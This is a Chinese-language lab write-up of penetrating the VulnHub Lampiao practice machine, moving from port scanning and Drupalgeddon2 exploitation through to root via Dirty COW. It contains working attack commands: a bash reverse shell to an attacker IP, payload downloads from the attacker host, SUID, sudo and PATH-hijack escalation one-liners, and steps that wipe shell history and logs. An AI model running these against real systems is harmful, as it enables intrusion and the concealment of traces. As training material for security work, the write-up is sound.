1. 项目概述:一次对Lampiao靶机的完整渗透剖析
最近在整理渗透测试的学习笔记,翻到了几年前做过的Lampiao靶机。这个靶机在VulnHub上挺有名的,是一个基于Ubuntu的Linux服务器,模拟了一个存在多个漏洞的Web应用环境。它之所以经典,是因为整个渗透路径串联了从信息收集、Web漏洞利用到权限提升的多个核心环节,非常适合用来巩固基础。今天我就把这个过程从头到尾拆解一遍,不仅复现步骤,更关键的是聊聊每个环节背后的思路和踩过的坑。无论你是刚入门安全的新手,还是想温故知新的同行,希望这篇详尽的复盘能给你带来一些实操上的启发。
简单来说,这次渗透的目标是获取Lampiao靶机(假设其IP为192.168.1.100)的最高权限(root shell)。整个过程会经历:网络发现与端口扫描、Web目录枚举与敏感信息发现、利用已知漏洞获取初始立足点、在系统内部进行信息收集,最后通过内核漏洞完成权限提升。我们会用到Nmap、Dirb、Searchsploit、Metasploit等常见工具,但重点不在于工具本身,而在于如何将它们组合起来,形成有效的攻击链。
2. 环境准备与初始信息收集
渗透测试的第一步永远是信息收集,它的质量直接决定了后续所有动作的效率和成功率。对于Lampiao这样的独立靶机,我们首先需要找到它。
2.1 目标定位与网络扫描
在实战中,目标IP可能通过资产梳理、域名解析或其他情报获得。在实验环境(如VMware或VirtualBox搭建的局域网)中,我们通常使用netdiscover或nmap进行存活主机扫描。
sudo netdiscover -r 192.168.1.0/24假设我们发现了192.168.1.100这个活跃主机。接下来,就要用Nmap对其进行深度端口扫描,这是了解目标开放服务、操作系统和潜在入口点的关键。
nmap -sS -sV -O -p- 192.168.1.100 -oN nmap_initial.txt这里有几个参数值得解释:
-sS: TCP SYN扫描,一种半开放扫描,相对隐蔽且快速。-sV: 版本探测,尝试识别运行在开放端口上的服务及其具体版本号。知道版本号才能匹配已知漏洞。-O: 启用操作系统检测。-p-: 扫描所有65535个端口,避免遗漏高端口服务。-oN: 将标准格式结果输出到文件,便于后续查阅。
扫描结果通常会显示类似以下内容:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))注意:这里出现了两个HTTP端口(80和1898)。在渗透测试中,非标准端口(如1898)往往容易被忽视,但恰恰可能承载着测试或管理后台,是重要的突破口。务必对每一个开放端口都给予同等关注。
2.2 Web应用初步侦察
发现Web服务后,我们首先通过浏览器直接访问。访问http://192.168.1.100:80可能是一个默认Apache页面或没有内容。而访问http://192.168.1.100:1898则可能呈现出一个具体的Web应用——这正是Lampiao靶机的主战场。
- 手动浏览:首先像普通用户一样点击所有链接、表单,观察URL结构、参数、使用的技术(查看页面源码,注意JavaScript框架、注释等)。使用浏览器开发者工具(F12)查看网络请求和响应头,有时能发现隐藏的API路径或调试信息。
- 目录与文件枚举:这是发现隐藏入口、备份文件、配置文件的核心步骤。我习惯使用
gobuster或dirb。gobuster dir -u http://192.168.1.100:1898 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak-u: 目标URL。-w: 字典路径。common.txt是一个基础字典,对于更深入的测试可以换用更大的字典如big.txt或directory-list-2.3-medium.txt。-x: 尝试这些扩展名。bak、old、tar.gz等扩展名常常对应着源代码或配置备份,里面可能包含数据库密码、API密钥等敏感信息。
在这个阶段,对Lampiao的扫描极有可能发现一个关键目录,比如/admin、/backup或一个特定的CMS(如Drupal)的登录入口。发现的内容将直接导向下一步的漏洞利用。
3. 漏洞挖掘与初始访问获取
信息收集为我们绘制了攻击面地图,接下来就是寻找并利用薄弱点,拿到进入系统的第一道门禁。
3.1 识别CMS与已知漏洞利用
假设通过目录枚举,我们发现在http://192.168.1.100:1898上运行着一个旧版本的Drupal内容管理系统。Drupal历史上存在过一些严重漏洞,例如著名的Drupalgeddon(CVE-2018-7600)。
- 版本确认:访问
/CHANGELOG.txt或/core/CHANGELOG.txt等Drupal常见文件,确认其具体版本号(例如Drupal 7.x)。 - 搜索漏洞利用代码:使用
searchsploit在本地漏洞库中查找。
这会列出所有相关的漏洞利用脚本。我们需要仔细阅读描述,找到匹配目标版本和环境的脚本。对于Drupalgeddon,可能会有Ruby、Python或Metasploit模块等多种利用方式。searchsploit drupal 7.x - 使用Metasploit进行利用:Metasploit提供了高度集成的利用模块,对于此类已知漏洞非常方便。
如果漏洞存在且利用成功,我们将获得一个Meterpreter会话。Meterpreter是一个功能强大的后渗透代理,提供了文件系统交互、命令执行、信息收集等能力。msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set RPORT 1898 set TARGETURI / exploit
实操心得:并非所有公开的Exploit都能一次成功。可能因为目标环境配置、网络限制(如防火墙、WAF)或Exploit脚本本身的小问题导致失败。此时需要:
- 仔细阅读Exploit脚本的代码和注释,理解其原理。
- 尝试调整参数,如
TARGETURI。- 寻找不同语言编写的替代Exploit脚本(Python版可能比Ruby版更稳定)。
- 手动利用:有时根据漏洞原理手动构造一个HTTP请求(用cURL或Burp Suite)来执行命令反而更直接可靠。
3.2 建立稳定Shell与初步立足
通过Metasploit获得的Meterpreter会话虽然强大,但可能不够稳定(特别是反向连接可能被中断)。因此,获取一个稳定的标准Shell是必须的。
- 在Meterpreter中获取标准Shell:
这会弹出一个可能是非常简陋的Shell(比如meterpreter > shellsh)。我们首先升级到功能更完整的bashShell。
或者(如果python不可用):python -c 'import pty; pty.spawn("/bin/bash")'/bin/bash -i - 创建持久化反向Shell:为了在会话断开后能重新连接,我们通常在目标机器上生成一个反向Shell连接。
- 先在攻击机(Kali)上监听一个端口:
nc -lvnp 4444 - 然后在目标Shell中,使用多种方法之一创建连接:
(假设攻击机IP是192.168.1.50)bash -i >& /dev/tcp/192.168.1.50/4444 0>&1 - 也可以上传一个用
msfvenom生成的持久化后门程序,但动作更大,可能触发防护。
- 先在攻击机(Kali)上监听一个端口:
至此,我们已经成功突破了边界,在Lampiao服务器上获得了一个初始的、低权限的用户Shell(通常是www-data,即运行Web服务的用户)。这是整个渗透过程中从0到1的质变。
4. 内部信息收集与横向移动
进入系统内部后,视野从外部扫描变成了内部侦查。目标是收集足够的信息,找到通往更高权限(通常是root)的路径。
4.1 系统与用户信息枚举
以www-data身份,我们可以运行一系列命令来绘制内部环境图:
# 查看当前用户和权限 id whoami # 查看系统版本和内核信息,为后续提权做准备 uname -a cat /etc/issue cat /etc/*-release # 查看网络连接和监听端口,发现内部其他服务 netstat -antup ss -tulpn # 查看进程列表,寻找以root运行的有趣进程 ps aux | grep root # 查看计划任务,可能有配置不当的脚本 crontab -l ls -la /etc/cron* # 查看可写目录和文件,寻找利用点 find / -type f -writable 2>/dev/null | grep -v /proc find / -type d -writable 2>/dev/null | grep -v /proc # 查看用户主目录和历史命令,可能发现密码或操作习惯 ls -la /home/ cat ~/.bash_history4.2 敏感文件与凭证搜寻
Web服务器上经常遗留配置文件或备份文件,其中可能包含数据库密码或其他系统的访问凭证。
# 检查Web根目录下的配置文件 find /var/www/ -name "*.php" -type f -exec grep -l "password\|passwd\|pwd\|DB_PASS\|mysql_connect" {} \; 2>/dev/null # 查看常见的配置文件 cat /var/www/html/sites/default/settings.php # Drupal配置文件 cat /var/www/html/wp-config.php # WordPress配置文件 # 搜索整个系统的密码相关文件 find / -name "*.txt" -o -name "*.bak" -o -name "*config*" -o -name "*.sql" 2>/dev/null | head -20在Lampiao的案例中,我们很可能在某个配置文件或用户目录的隐藏文件中,找到另一个系统用户(比如一个叫tiago的用户)的SSH私钥或密码哈希。如果找到SSH私钥,需要将其复制到攻击机,修改权限后尝试登录:
# 在攻击机上 chmod 600 id_rsa_tiago ssh -i id_rsa_tiago tiago@192.168.1.100如果找到密码哈希(可能在/etc/shadow中,但www-data通常无权读取),可以尝试用john或hashcat进行破解。成功切换到另一个用户(如tiago)可能意味着我们拥有了更多的文件读取权限,离root更近一步。
5. 权限提升:从普通用户到Root
提权是渗透测试的最终目标,也是最能体现技术深度的一环。方法主要分为两大类:利用内核漏洞和利用配置错误/权限问题。
5.1 内核漏洞提权(Dirty COW)
在之前的uname -a命令输出中,我们可能看到类似Linux lampiao 3.13.0-32-generic的内核信息。对于3.x系列的Linux内核,Dirty COW(CVE-2016-5195)是一个极其经典且可靠的本地提权漏洞。
- 漏洞验证:使用脚本检查系统是否存在已知提权漏洞。
脚本会列出可能的漏洞,Dirty COW很可能在列。# 上传或在线下载linux-exploit-suggester.sh等脚本 wget http://192.168.1.50/linux-exploit-suggester.sh -O /tmp/les.sh chmod +x /tmp/les.sh /tmp/les.sh - 利用漏洞:我们需要将漏洞利用代码(Exploit)上传到目标服务器。可以从攻击机开启一个简单的HTTP服务:
然后在目标Shell中下载并编译Exploit(以Dirty COW的一个常见版本为例):# 在攻击机(Kali)上 python3 -m http.server 8080# 在目标机(Lampiao)上 cd /tmp wget http://192.168.1.50:8080/dirty.c gcc -pthread dirty.c -o dirty -lcrypt注意事项:目标机器上可能没有
gcc。如果遇到这种情况,就需要在攻击机上编译好对应架构(通常是x86或x64)的二进制文件,然后直接上传。可以使用file命令查看系统架构。 - 执行提权:
执行后,Exploit会创建一个新的root权限用户(例如用户名为./dirtyfirefart,密码为password)。然后我们可以切换到这个用户:
输入密码后,执行su firefartid命令,如果显示uid=0(root),则提权成功。
5.2 其他提权向量检查
内核漏洞是“重型武器”,但有时不适用或失败。我们必须并行检查其他常见的提权路径,它们往往更隐蔽:
- SUID/SGID文件:查找设置了SUID位且属主是root的可执行文件。如果这些程序存在漏洞或能被滥用,就可能以root身份执行命令。
重点关注find / -type f -perm -4000 -o -perm -2000 2>/dev/nullnmap(旧版本交互模式)、vim、find、bash、cp、mv等。例如,如果find有SUID位,可以这样提权:touch /tmp/rootshell find /tmp/rootshell -exec /bin/bash -p \; - Sudo权限:检查当前用户可以用
sudo以root身份运行哪些命令。
如果结果显示用户可以无密码运行某个命令(如sudo -l/usr/bin/python、/usr/bin/perl、/usr/bin/vi等),就可以直接启动一个root shell:sudo python -c 'import os; os.system("/bin/bash")' - Capabilities能力:一种更细粒度的权限划分。
例如,如果getcap -r / 2>/dev/null/usr/bin/python被赋予了cap_setuid+ep能力,那么Python脚本就能直接设置用户ID,从而提权。 - PATH环境变量劫持:如果有一个以root权限运行的脚本或程序,它调用了系统命令(如
ls、cp)但没有使用绝对路径,我们就可以通过控制PATH环境变量,让它执行我们恶意版本的命令。# 假设/root/script.sh 里调用了 `service apache2 restart` echo '/bin/bash' > /tmp/service chmod +x /tmp/service export PATH=/tmp:$PATH # 然后等待或触发root用户执行/root/script.sh
在Lampiao靶机中,最直接有效的路径通常是利用内核漏洞(如Dirty COW)快速获得root权限。但全面检查上述向量是一个优秀渗透测试员的习惯,它能确保不遗漏任何机会,并在内核漏洞利用失败时提供备选方案。
6. 后渗透清理与痕迹管理
在获得root权限后,渗透测试的主要目标已经达成。但在实战演练或授权测试中,出于职业道德和避免对系统造成不必要影响,通常需要进行简单的清理。
- 删除上传的工具和文件:删除在
/tmp、/dev/shm等目录上传的Exploit、扫描脚本、后门等。rm -f /tmp/dirty /tmp/dirty.c /tmp/les.sh - 清除命令历史:清除当前用户和root用户的命令历史记录。
echo > ~/.bash_history history -c # 如果是root,也清理/root/.bash_history - 检查并清理日志(谨慎操作):在授权测试中,可能需要记录攻击路径而非完全清除。在非授权环境中,此步骤是违法的。仅作知识性了解:
# 查看相关日志 cat /var/log/auth.log | grep -i accepted cat /var/log/apache2/access.log | tail -50 # 清空日志(不推荐在真实测试中随意使用) # > /var/log/auth.log # > /var/log/apache2/access.log
对于Lampiao这样的练习靶机,最后一步通常是获取证明标志(Proof Flag)。在/root或/home目录下,往往有一个名为flag.txt、proof.txt或root.txt的文件,其内容就是最终的胜利凭证。
cat /root/root.txt7. 常见问题与排查技巧实录
在整个渗透过程中,几乎不可能一帆风顺。下面是我在多次演练中遇到的一些典型问题及解决思路:
| 问题场景 | 可能原因 | 排查与解决思路 |
|---|---|---|
| Nmap扫描无结果 | 目标主机防火墙丢弃ICMP/探测包 | 使用-Pn参数,跳过主机发现,直接扫描端口。尝试-sT全连接扫描(但更易被记录)。 |
| Web目录枚举无发现 | 字典不匹配,或目标有WAF/速率限制 | 换用更大的字典(如directory-list-2.3-medium.txt)。使用--delay参数降低扫描速度。尝试使用不同的工具(如dirsearch、ffuf)对比结果。 |
| Exploit执行失败 | 目标服务版本不匹配、路径错误、依赖缺失 | 用searchsploit -x <编号>仔细查看Exploit代码的说明和依赖。手动用curl或浏览器验证漏洞点。尝试在Metasploit中设置Check选项。寻找该漏洞的其他利用脚本。 |
| 反向Shell连接不上 | 目标出站流量被防火墙阻止,或监听命令错误 | 检查攻击机防火墙是否允许入站连接。尝试不同端口(如53, 443, 8080)。确认目标命令中的IP和端口正确。尝试使用其他反向Shell payload(如Python, PHP, Perl)。 |
| 提权Exploit编译失败 | 目标系统缺少gcc或依赖库 | 在攻击机(Kali)上交叉编译对应架构的二进制文件后上传。使用file命令确认目标架构。寻找已编译好的二进制Exp。尝试其他不需要编译的提权方法(如SUID、sudo)。 |
| 获得的Shell不稳定 | Shell环境受限(如rbash),或连接易中断 | 使用python pty技巧升级为完全交互式TTY。使用socat或script命令改善Shell。尝试通过Web漏洞写入一个Web Shell作为备用通道。 |
一个关键的实操心得:信息收集阶段多花一分钟,漏洞利用阶段可能少花一小时。不要一看到开放端口就急着上Exploit。仔细分析Nmap的-sV版本信息、Web应用的指纹、HTTP响应头,这些细节往往能直接告诉你最有效的攻击路径是什么。例如,看到Apache/2.4.7和Drupal 7.x,有经验的人会立刻联想到Drupalgeddon,而不是盲目地去测试SQL注入。
另一个技巧是善用代理和流量记录。在浏览器访问或使用命令行工具时,配合Burp Suite或ZAP等代理工具,可以拦截、查看、重放所有HTTP/HTTPS请求。这对于分析复杂的Web应用交互、手动构造攻击Payload、绕过简单的客户端验证至关重要。很多时候,自动化工具扫不出来的漏洞,通过手动分析请求和响应就能发现端倪。